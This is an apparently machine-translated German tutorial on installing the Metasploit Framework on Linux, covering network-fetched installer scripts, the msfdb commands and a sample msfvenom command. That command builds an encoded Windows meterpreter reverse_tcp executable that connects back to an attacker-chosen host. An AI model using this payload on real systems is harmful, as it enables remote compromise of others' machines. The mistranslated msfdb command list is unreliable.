Detaillierte Erläuterung des Installationsprozesses von msf auf einem Linux-System

Detaillierte Erläuterung des Installationsprozesses von msf auf einem Linux-System

Oder schreiben Sie den Installationsvorgang selbst auf!

Mein Serversystem ist Aliyun Linux

1. Herunterladen und installieren
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Möglicher Fehler: Datei /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit konnte nicht geöffnet werden

Es liegt an einem Problem bei der Installation der Bibliothek!
Lösung:
yum install -y epel-release
Dann wiederholen Sie den obigen Befehl!

2. Fügen Sie einen neuen Benutzer hinzu und führen Sie msf aus
adduser msf #MSF-Benutzer hinzufügen
su msf #Zum msf-Benutzer wechseln
cd /opt/metasploit-framework/bin #Wechseln Sie in das Verzeichnis, in dem sich msf befindet
./msfconsole
#Starten Sie msfconsole künftig und wechseln Sie zum Starten zum msf-Benutzer, damit die Datenbank synchronisiert wird.
Wenn Sie es als Root-Benutzer starten, wird die Datenbank nicht synchronisiert!
(Der Startindex ist bereits standardmäßig konfiguriert!)
Starten Sie einfach msfconsole!

#Verwandte Befehle [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# Datenbankinitialisierung [msf@xxxx root]$ msfdb
Befehle:
 init initialisiert die Komponente
 reinit löscht und initialisiert die Komponente neu
 löschen löschen und stoppen Sie die Komponente
 Statusprüfung Komponentenstatus
 Starten Sie die Komponente
 Stoppen Sie die Komponente
 Neustart Starten Sie die Komponente neu
#prüfen:
Beispielsweise ist mein virtueller Host Win2003 (Zielmaschine)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

Hinweis: Wenn es sich um eine elastische Cloud-Server-IP handelt, sollte LHOST auf die vom Intranet zugewiesene IP eingestellt werden, und die öffentliche IP kann nicht eingestellt werden. [Dieser Fehler hat mich lange geärgert! ! ! Blut erbrechen! ! ! ]

Bildbeschreibung hier einfügen

ps: Installieren Sie das msf-Framework unter einem Linux-System

Befehl:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

Warten Sie einfach, bis der Lauf beendet ist. Drücken Sie an den wichtigen Stellen einfach die Eingabetaste und Y.

Zusammenfassen

Dies ist das Ende dieses Artikels über den detaillierten Prozess der Installation von msf auf einem Linux-System. Weitere relevante Inhalte zur Installation von msf auf einem Linux-System finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den verwandten Artikeln weiter unten. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!

Das könnte Sie auch interessieren:
  • Detaillierte Erklärung des php-msf-Quellcodes
  • Anweisungen zur Verwendung der gespeicherten Systemprozeduren sp_MSforeachtable und sp_MSforeachdb

<<:  React Native JSI implementiert Beispielcode für RN und native Kommunikation

>>:  Tutorial zur Installation von MySQL8 unter Linux CentOS7

Artikel empfehlen

Was ist JavaScript Anti-Shake und Throttling

Inhaltsverzeichnis 1. Funktion Entprellung 1. Was...

jQuery implementiert Warenkorbfunktion

In diesem Artikelbeispiel wird der spezifische Co...

Dateiupload über HTML5 auf Mobilgeräten

Meistens werden Plug-Ins zum Hochladen von Dateie...

10 hervorragende Web-UI-Bibliotheken/Frameworks

1. IT Mill-Toolkit IT Mill Toolkit ist ein Open-S...

Eine kurze Analyse der expliziten Typkonvertierung von MySQL

CAST-Funktion Im vorherigen Artikel haben wir die...

Anwendung zur Verarbeitung von HTML-Tag-Überläufen

Verwenden Sie CSS, um Bildlaufleisten zu ändern 1...

Die vollständige Liste der MIME-Typen

Was ist ein MIME-TYP? 1. Zunächst müssen wir vers...

So verwenden Sie Docker zum Erstellen eines Redis-Master-Slaves

1. Erstellen Sie eine Docker-Umgebung 1. Erstelle...

jQuery klickt auf den Liebeseffekt

In diesem Artikel wird der spezifische Code des j...

Lösung für Nginx-Installationsfehler

1. Entpacken Sie nginx-1.8.1.tar.gz 2. Entpacken ...

Einfaches MySQL-Beispiel zum Sortieren chinesischer Schriftzeichen nach Pinyin

Wenn das Feld, in dem der Name gespeichert ist, d...